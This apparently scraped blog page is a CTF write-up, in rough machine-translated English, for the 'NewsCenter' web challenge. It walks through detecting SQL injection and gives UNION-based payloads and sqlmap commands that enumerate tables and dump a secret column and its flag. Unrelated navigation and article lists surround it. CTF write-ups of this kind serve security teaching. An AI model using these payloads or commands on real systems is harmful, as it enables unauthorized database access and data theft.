当前位置:网站首页>Newscenter, advanced area of attack and defense world web masters
Newscenter, advanced area of attack and defense world web masters
2022-07-29 00:17:00 【Ant200】
One 、 analysis
Enter the page , I saw a website , Look at the source code , Web content , Look for a breakthrough , You can scan the directory with Yujian to find a breakthrough , The test found no breakthrough , Try... Try sql Inject .
Two 、 step
1. Test for presence sql Inject
How to determine sql Injection point
1 Single quotation mark judgment
Search box or URL Tail end plus ’ If an error is reported, there may be sql Inject holes , Because character type or Integer types will report errors because the number of single quotes does not match
2, The number type determines whether there is injection
and 1=1 Return to the correct page
and 1=2 Return to error page
3, The character type determines whether there is injection
‘ and ‘1’='1 Return to the correct page
’ and '1'='2 Return to error page
Single quotation mark judgment , You can enter... In the search box ', It can also be in url Add at the end. Note here that post Submit ,why? Looking at the source code of the initial page, you can find


Already known to exist sql Inject , You can use tools sqlmap. It can also be injected manually
Manual injection :
1, structure payload:1' order by 3#, For before 1,2,3 Page echo is normal , When it comes to 4 When the page reports an error , Description has three columns of data

2. structure payload:1' union select 1,2,3# Burst the two columns of data injected

3. The injection point is 2,3. structure payload:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# Name of the table

4. structure payload:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='secret_table'# Pop field

5. structure payload:' union select 1,2,group_concat(id,0x3a,fl4g) from secret_table# detonation flag

flag:QCTF{sq1_inJec7ion_ezzz}
sqlmap:
bp Capture and save as 1.txt, Put it in kali root Under the table of contents


Carry out orders :sqlmap -r "1.txt" Burst information

Reveal the name of the library , And the user name :sqlmap -r "1.txt" --current-db --current-user

Name of the table :sqlmap -r "1.txt" --tables -D "news"

Pop field :sqlmap -r "1.txt" --columns -D "news" -T "secret_table"

detonation flag:sqlmap -r 1.txt -D "news" -T "secret_table" -C "fl4g" --dump

边栏推荐
- Intelligent trash can (VII) -- Introduction and use of sg90 steering gear (Pico implementation of raspberry pie)
- EN 1873 assembly accessories for roofing - plastic single roof lamps - CE certification
- MySql中的like和in走不走索引
- Idea2021.2 installation and configuration (continuous update)
- Advanced area of attack and defense world web masters ics-06
- Yolov5 learning notes (I) -- principle overview
- VS2005 accesses the setting method "recommended collection" of vss2005 through sourceoffsite
- The failure rate is as high as 80%. How to correctly complete the strategic planning of digital transformation?
- Classification and determination method of Worthington stemxyme
- Where is sandbox's confidence in rejecting meta's acquisition of meta universe leader sand?
猜你喜欢

Visual full link log tracking
![[applet project development -- JD mall] uni app commodity classification page (first)](/img/6c/5b92fc1f18d58e0fdf6f1896188fcd.png)
[applet project development -- JD mall] uni app commodity classification page (first)

ACM SIGIR 2022 | interpretation of selected papers of meituan technical team

Sword finger offer 64. find 1+2+... +n, logical operator short circuit effect

Web系统常见安全漏洞介绍及解决方案-CSRF攻击

Idea2021.2 installation and configuration (continuous update)

Worthington - chemical properties and related studies of Worthington trypsin

Interpretation of ISO 13400 (doip) standard

[TA frost wolf \u may - "hundred people plan"] Figure 3.6 texture compression - inclusion slimming

MySQL installation and configuration tutorial (super detailed, nanny level)
随机推荐
mysql中exists的用法详解
Linux之yum安装MySQL
ZABBIX 5.0 uses its own redis template for monitoring
Do you know any formal part-time platforms?
Have passed hcip and joined the company of your choice, and share the learning experience and experience of Huawei certification
With this, your messages can't be monitored
Feign call fails. JSON parse error illegal character ((ctrl-char, code 31)) only regular white space (R
Leetcode 763. partition labels divide alphabetic intervals (medium)
【TA-霜狼_may-《百人计划》】图形3.6 纹理压缩——包体瘦身术
MySQL安装配置教程(超级详细、保姆级)
Advanced area of attack and defense world web masters ics-06
1-7 solve the problem of this pointing of methods in classes
The difference between {} and ${}
Geth installation
【C】 Reverse string (two recursive ideas)
GhostNets on Heterogeneous Devices via Cheap Operations
Erc20 Standard Code
JS advanced ES6 ~ es13 new features
Principle of meter skipping
【C】 Drink soda and find a single dog